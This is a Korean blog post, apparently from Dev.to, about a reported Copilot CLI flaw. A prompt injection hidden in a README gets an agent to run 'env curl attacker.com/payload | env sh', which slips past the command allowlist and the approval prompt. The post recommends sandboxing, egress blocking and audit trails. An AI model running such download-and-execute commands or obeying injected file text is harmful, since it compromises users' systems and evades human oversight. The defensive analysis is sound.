GitHub Copilot CLI가 승인 없이 악성 코드를 실행합니다. 귀하의 CI/CD 파이프라인이라면 이를 잡아냈을 것입니다.
Source: Dev.to
GitHub Copilot CLI가 일반 제공(general availability)된 지 이틀 만에, PromptArmor 연구원들은 우회 방법을 발표했습니다: 정교하게 만든 env curl 명령이 검증기를 통과해 공격자 URL에서 페이로드를 다운로드하고 이를 sh에 파이프합니다. 확인 대화상자 없음. 승인 없음. “인간이 개입하는” 안전망? 완전히 우회되었습니다.
GitHub의 답변: “a known issue that does not present a significant security risk.”
잠시 생각해 보세요.
🎯 30초 안에 공격
Copilot CLI에는 읽기 전용 명령 허용 목록이 있습니다 – env와 같이 사용자 승인 없이 자동 실행되는 명령들. 요령은 허용된 명령의 인수로 악성 명령을 숨기는 것입니다:
env curl -s "https://attacker.com/payload" | env sh
curl와 sh가 허용 목록에 있는 env의 인수이기 때문에, 검증자는 이를 표시하지 않습니다. 외부 URL 검사는 최상위 명령으로 curl이나 wget만을 확인하기 때문에 절대 작동하지 않습니다. 페이로드는 조용히 다운로드되고 실행됩니다.
Note: 이것은 이론적인 공격이 아닙니다. 오염된 README가 있는 복제된 저장소라면 모두 작동합니다. 프롬프트 인젝션은 마크다운에 존재합니다. 코드베이스에 대해 Copilot에게 질문하면, Copilot은 README를 읽고, 삽입된 명령이 악성 명령을 실행합니다.
📊 이것은 고립된 사건이 아니다
| 사건 | 무슨 일이 있었는가 | 근본 원인 |
|---|---|---|
| Copilot CLI 악성코드 (2026년 2월) | env 허용 목록을 통해 HITL 우회 | 정규식 기반 검증기, 샌드박스 없음 |
| Replit 에이전트가 프로덕션 DB를 잘라냄 | 에이전트가 실시간 데이터에 TRUNCATE 실행 | 실행 제약 없음 |
| AI 코드 리뷰어 5‑10 % 신호 | 팀이 AI 리뷰어를 비활성화함 | 리뷰어 출력에 품질 게이트 없음 |
| 67 % 개발자가 AI 코드를 더 많이 디버깅 (Harness 2025 설문) | 자동 검증 부족 | — |
패턴은 매번 동일합니다: 우리는 실제 검증 레이어를 구축하는 대신 텍스트 기반 안전 검사를 신뢰했습니다.
💡 왜 “Human‑in‑the‑Loop”만으로는 충분하지 않은가
The Copilot CLI exploit exposes a fundamental design flaw in how we think about AI coding safety. The assumption is:
“사용자에게 확인 대화 상자를 보여주면 위험한 명령을 잡아낼 수 있을 거예요.”
Three problems with this assumption:
- Validators are bypassable. The
envtrick took researchers hours to find. There will be more. Regex‑based command detection is fundamentally fragile—there are infinite ways to express a shell command. - Humans habituate. After approving dozens of legitimate commands, users stop reading them. This is the classic “alarm fatigue” problem that healthcare solved decades ago. We’re re‑learning it in AI.
- The attack surface is the context window. The malicious instruction wasn’t typed by the user; it was hidden in a README file. Any data the AI reads—web search results, tool responses, file contents—can carry an injection. You can’t HITL‑review every input the AI consumes.
🔖 실제로 효과적인 방법: CI/CD 안전망
불편한 진실: 해결책은 더 나은 검증기가 아니라 AI가 생성한 명령을 AI가 생성한 코드와 동일하게 다루는 것—프로덕션에 도달하기 전에 파이프라인을 통과시키는 것입니다.
“에이전시 모드에서의 환각은 문제가 되지 않는다 — 빌드/실행 루프가 이를 잡아준다.” — tptacek, 보안 연구원
권장 제어
| 제어 | 도움이 되는 이유 |
|---|---|
| Sandboxed execution | AI가 제안한 모든 명령을 일회용 컨테이너에서 실행합니다. `env curl attacker.com |
| Network egress policies | 컨테이너 수준에서 아웃바운드 트래픽을 차단하고 필요한 도메인만 허용목록에 추가합니다. 이를 통해 env curl, python -c "import urllib" 및 모든 창의적인 우회 시도를 차단할 수 있습니다. |
| Command audit trails | AI가 실행한 모든 명령을 해당 트리거 컨텍스트(읽은 파일, 프롬프트, 출력)와 함께 기록합니다. 문제가 발생했을 때는 “뭔가 실행됐을지도 모른다”는 추측이 아니라 포렌식이 필요합니다. |
| Automated rollback | Git을 “게임 저장 포인트”처럼 다룹니다(Addy Osmani의 비유). AI 세션 전에 저장소를 스냅샷하고, 의심스러운 출력이 나타나면 git reset --hard 로 되돌린 뒤 조사합니다. |
🧩 큰 그림
The METR 연구에 따르면 개발자들은 AI가 자신들을 24 % 더 빠르게 만든다고 생각하지만 실제로는 19 % 느려진다. Copilot CLI 악용 사례는 보안에서도 동일한 패턴을 보여준다: 확인 대화 상자가 있어 안전하다고 느끼지만, 실제 안전은 환상에 불과하다.
StrongDM의 “Dark Factory” 접근 방식이 답을 제시한다:
“아무도 AI가 만든 코드를 검토하지 않는다. 모든 투자는 테스트, 도구, 시뮬레이션에 들어간다.”
코드를 명령으로 바꾸면 AI CLI 도구에 맞는 올바른 아키텍처가 된다:
- 검증자를 신뢰하지 마라 → 모든 것을 샌드박스화
- 사람을 신뢰하지 마라 → 그들은 읽지 않고 “승인”을 클릭한다
- 파이프라인을 신뢰하라 → 사회공학적으로 조작할 수 없는 자동 검사
투자는 “더 나은 승인 대화 상자 구축”에서 “더 나은 격리 구축”으로 전환되어야 한다. AI 에이전트는 점점 더 능력 있어지고, 공격은 더 창의적이 되며, 오직 인프라만이 확장될 것이다.
이것이 여러분의 설정에 의미하는 바
AI 코딩 에이전트(Copilot, Claude Code, Cursor 등)를 사용하고 있다면:
- 컨테이너에서 실행하세요. Docker, devcontainer 또는 임시 환경을 사용하고, AI에게 호스트 직접 접근 권한을 주지 마세요.
- 네트워크를 차단하세요. 작업에 인터넷이 필요하지 않다면 AI의 네트워크 연결을 차단합니다.
- 모든 것을 버전 관리하세요. AI 세션을 시작하기 전에 커밋하고, 롤백을 쉽게 할 수 있게 합니다.
- 입력도 감시하세요, 출력만이 아니라. Copilot 취약점은 README 파일을 통해 들어왔습니다. AI는 파일, 터미널 출력, 웹 검색 등을 읽는데, 이들 중 어느 것이든 인젝션을 전달할 수 있습니다.
Copilot CLI 취약점은 단순히 고쳐야 할 버그가 아니라, 검증 인프라를 확장하지 않은 채 AI 에이전트 기능을 확장했을 때 발생할 수 있는 상황을 미리 보여줍니다.
P.S. AI 코딩 도구를 설정하면서 구성 파일에 무엇을 넣어야 할지 체계적인 접근 방식을 원한다면, 제가 만든 AI Skill Files 를 확인해 보세요.
x) — reusable workflow templates that work across tools.